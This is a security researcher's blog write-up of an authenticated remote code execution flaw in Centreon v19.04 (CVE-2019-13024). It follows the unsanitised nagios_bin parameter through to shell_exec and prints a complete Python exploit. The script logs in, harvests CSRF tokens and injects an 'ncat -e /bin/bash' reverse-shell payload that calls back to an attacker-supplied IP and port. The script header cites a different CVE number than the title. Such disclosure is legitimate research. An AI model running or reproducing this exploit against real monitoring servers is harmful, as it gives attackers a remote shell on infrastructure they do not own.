Centreon v19.04 Remote Code Execution (CVE-2019-13024)

Estimated Reading Time: 6 minutes

Summary about Centreon

Centreon is a free and open source infrastructure monitoring software, Centreon allows the system administrators to monitor their infrastructure from a centralized web application, Centreon has become the number 1 open source solution for enterprise monitoring in Europe.

About the exploit

The exploitation triggers by adding an arbitrary command in the nagios_bin parameter when setup a new configuration or update configuration for a poller, the attacker can control some parameters which are passed to updateServer function on DB-Func.php line #506, this function should update some values and add them to the database, so we can control a user input called nagion_bin from the configuration page and inject our malicious code into it, this parameter is processed in line #551, this parameter will be called from the database and passed to shell_exec function line #212 on generateFiles.php file, so we can call the generateFiles.php later on to trigger the payload.

During the analysis of Centreon code, I decided to hunt for RCE because I found a lot of functionalities that deal with operating system commands, So I started to list all unsafe functions using a very simple python script I wrote.

The initial result was containing a large number of functions that use “shell_exec, popen, system” functions, and after some analysis I noticed that there is potential RCE in a function called printDebug in include/configuration/configGenerate/xml/generateFiles.php line #211:

generateFiles.php
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
function printDebug($xml, $tabs)
{
 
    global $pearDB, $ret, $centreon, $nagiosCFGPath;
    $DBRESULT_Servers = $pearDB->query("SELECT `nagios_bin` FROM `nagios_server` " .
        "WHERE `localhost` = '1' ORDER BY ns_activate DESC LIMIT 1");
    $nagios_bin = $DBRESULT_Servers->fetch();
    $DBRESULT_Servers->closeCursor();
    $msg_debug = array();
    $tab_server = array();
    foreach ($tabs as $tab) {
        if (isset($ret["host"]) && ($ret["host"] == 0 || in_array($tab['id'], $ret["host"]))) {
            $tab_server[$tab["id"]] = array(
                "id" => $tab["id"],
                "name" => $tab["name"],
                "localhost" => $tab["localhost"]
            );
        }
    }
 
 
    foreach ($tab_server as $host) {
        $stdout = shell_exec(
            $nagios_bin["nagios_bin"] . " -v " . $nagiosCFGPath . $host["id"] . "/centengine.DEBUG 2>&1"
        );

As we can see in line #211 we have some variables passed to shell_exec function without being sanitized, the variable $nagios_bin[“nagios_bin”] passed to the function after being called from the database, and we can see in line #193,194 that the query has been made to extract some information and one of them are the $nagios_bin[“nagios_bin”] variable.

Now we need to know how we can control this value and how we can trigger the printDebug function in order to execute our payload.

If we took a look at include/configuration/configServers/DB-Func.php line #550 we can see that the file handles updating some values in the database and one of them are out target “nagios_bin” being inserted without filtering as the following:

DB-Func.php
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
function updateServer(int $id, $data): void
{
    global $pearDB, $centreon;
 
    if ($data["localhost"]["localhost"] == 1) {
        $pearDB->query("UPDATE `nagios_server` SET `localhost` = '0'");
    }
    if ($data["is_default"]["is_default"] == 1) {
        $pearDB->query("UPDATE `nagios_server` SET `is_default` = '0'");
    }
 
    $rq = "UPDATE `nagios_server` SET ";
    isset($data["name"]) && $data["name"] != null
        ? $rq .= "name = '" . htmlentities($data["name"], ENT_QUOTES, "UTF-8") . "', "
        : $rq .= "name = NULL, ";
    isset($data["localhost"]["localhost"]) && $data["localhost"]["localhost"] != null
        ? $rq .= "localhost = '" . htmlentities($data["localhost"]["localhost"], ENT_QUOTES, "UTF-8") . "', "
        : $rq .= "localhost = NULL, ";
    isset($data["ns_ip_address"]) && $data["ns_ip_address"] != null
        ? $rq .= "ns_ip_address = '" . htmlentities(trim($data["ns_ip_address"]), ENT_QUOTES, "UTF-8") . "',  "
        : $rq .= "ns_ip_address = NULL, ";
    isset($data["ssh_port"]) && $data["ssh_port"] != null
        ? $rq .= "ssh_port = '" . htmlentities(trim($data["ssh_port"]), ENT_QUOTES, "UTF-8") . "',  "
        : $rq .= "ssh_port = '22', ";
    isset($data["init_system"]) && $data["init_system"] != null
        ? $rq .= "init_system = '" . htmlentities(trim($data["init_system"]), ENT_QUOTES, "UTF-8") . "',  "
        : $rq .= "init_system = NULL, ";
    isset($data["init_script"]) && $data["init_script"] != null
        ? $rq .= "init_script = '" . htmlentities(trim($data["init_script"]), ENT_QUOTES, "UTF-8") . "',  "
        : $rq .= "init_script = NULL, ";
    isset($data["init_script_centreontrapd"]) && $data["init_script_centreontrapd"] != null
        ? $rq .= "init_script_centreontrapd = '" . htmlentities(
            trim($data["init_script_centreontrapd"]),
            ENT_QUOTES,
            "UTF-8"
        ) . "',  "
        : $rq .= "init_script_centreontrapd = NULL, ";
    isset($data["snmp_trapd_path_conf"]) && $data["snmp_trapd_path_conf"] != null
        ? $rq .= "snmp_trapd_path_conf = '" . htmlentities(
            trim($data["snmp_trapd_path_conf"]),
            ENT_QUOTES,
            "UTF-8"
        ) . "',  "
        : $rq .= "snmp_trapd_path_conf = NULL, ";
    isset($data["nagios_bin"]) && $data["nagios_bin"] != null
        ? $rq .= "nagios_bin = '" . htmlentities(trim($data["nagios_bin"]), ENT_QUOTES, "UTF-8") . "',  "
        : $rq .= "nagios_bin = NULL, ";

As we can see it just filter the data using htmlentities only , which means we can inject system commands without problem and in theory we can get a shell !

of course we cannot insert the characters that is being filter by htmlentites but we still execute a onliner to get a shell.

The input for this function was processed by another file called formServers.php located in include/configuration/configServers/formServers.php and the line which call this function and pass the form submitted data is line #300 like the following:

formServers.php
294
295
296
297
298
299
300
301
302
303
304
305
306
307
if ($form->validate()) {
    $nagiosObj = $form->getElement('id');
    if ($form->getSubmitValue("submitA")) {
       
        insertServerInDB($form->getSubmitValues());
    } elseif ($form->getSubmitValue("submitC")) {
        updateServer(
            (int) $nagiosObj->getValue(),
            $form->getSubmitValues()
        );
    }
    $o = null;
    $valid = true;
}

The getSubmitValues() function handles the POST requests sent via the update configuration form.

To understand the code in better way, I used burp to achieve that by playing with the request and see how I can deal with the required value.

And in burp we can see the following request after submitting it :

And as we can see the request contains nagion_bin which is the one we want to control, and for a debugging purposes I will edit the file generateFiles.php to echo the value of nagion_bin to make sure that we are inserting the correct value that will be inserted and called from the database, and the result was like the following:

After sending the request we will get the following:

We are right ! we got the testpath value printed out ! so we just have to inject a command to get it executed, but first lets find the right format to inject our payload, back to line #212 on generateFiles.php , we can find that our command is inserted in the first of the line which means we can insert it directly and comment out the rest of the line by using #, and the final payload should be simply “command #”.

lets try to inject the command id # and see what will happen !

Great ! we got our command executed !

Exploit writing

After confirming the RCE I want to write an exploit code in python to automate the exploitation process and give you a shell with one click, The exploit writing phase was very fun part to me, and here is the full exploit code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#!/usr/bin/python
 
'''
# Exploit Title: Centreon v19.04 authenticated Remote Code Execution
# Date: 28/06/2019
# Exploit Author: Askar (@mohammadaskar2)
# CVE : CVE-2018-20434
# Vendor Homepage: https://www.centreon.com/
# Version: v19.04
# Tested on: CentOS 7.6 / PHP 5.4.16
'''
 
import requests
import sys
import warnings
from bs4 import BeautifulSoup
 
# turn off BeautifulSoup warnings
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
 
if len(sys.argv) != 6:
    print(len(sys.argv))
    print("[~] Usage : ./centreon-exploit.py url username password ip port")
    exit()
 
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]
 
 
request = requests.session()
print("[+] Retrieving CSRF token to submit the login form")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content)
token = soup.findAll('input')[3].get("value")
 
login_info = {
    "useralias": username,
    "password": password,
    "submitLogin": "Connect",
    "centreon_token": token
}
login_request = request.post(url+"/index.php", login_info)
print("[+] Login token is : {0}".format(token))
if "Your credentials are incorrect." not in login_request.text:
    print("[+] Logged In Sucssfully")
    print("[+] Retrieving Poller token")
 
    poller_configuration_page = url + "/main.get.php?p=60901"
    get_poller_token = request.get(poller_configuration_page)
    poller_html = get_poller_token.text
    poller_soup = BeautifulSoup(poller_html)
    poller_token = poller_soup.findAll('input')[24].get("value")
    print("[+] Poller token is : {0}".format(poller_token))
 
    payload_info = {
        "name": "Central",
        "ns_ip_address": "127.0.0.1",
        # this value should be 1 always
        "localhost[localhost]": "1",
        "is_default[is_default]": "0",
        "remote_id": "",
        "ssh_port": "22",
        "init_script": "centengine",
        # this value contains the payload , you can change it as you want
        "nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
        "nagiostats_bin": "/usr/sbin/centenginestats",
        "nagios_perfdata": "/var/log/centreon-engine/service-perfdata",
        "centreonbroker_cfg_path": "/etc/centreon-broker",
        "centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker",
        "centreonbroker_logs_path": "",
        "centreonconnector_path": "/usr/lib64/centreon-connector",
        "init_script_centreontrapd": "centreontrapd",
        "snmp_trapd_path_conf": "/etc/snmp/centreon_traps/",
        "ns_activate[ns_activate]": "1",
        "submitC": "Save",
        "id": "1",
        "o": "c",
        "centreon_token": poller_token,
 
 
    }
 
    send_payload = request.post(poller_configuration_page, payload_info)
    print("[+] Injecting Done, triggering the payload")
    print("[+] Check your netcat listener !")
    generate_xml_page = url + "/include/configuration/configGenerate/xml/generateFiles.php"
    xml_page_data = {
        "poller": "1",
        "debug": "true",
        "generate": "true",
    }
    request.post(generate_xml_page, xml_page_data)
 
else:
    print("[-] Wrong credentials")
    exit()

and you can find the full exploit code here.

The application handles every request with a token to protect against CSRF, so I have to handle this issue using BeautifulSoup to read the CSRF token before sending the requests which was a great part !

And after running the exploit, we popped a shell !

2 Replies to “Centreon v19.04 Remote Code Execution (CVE-2019-13024)”

Leave a Reply

Your email address will not be published. Required fields are marked *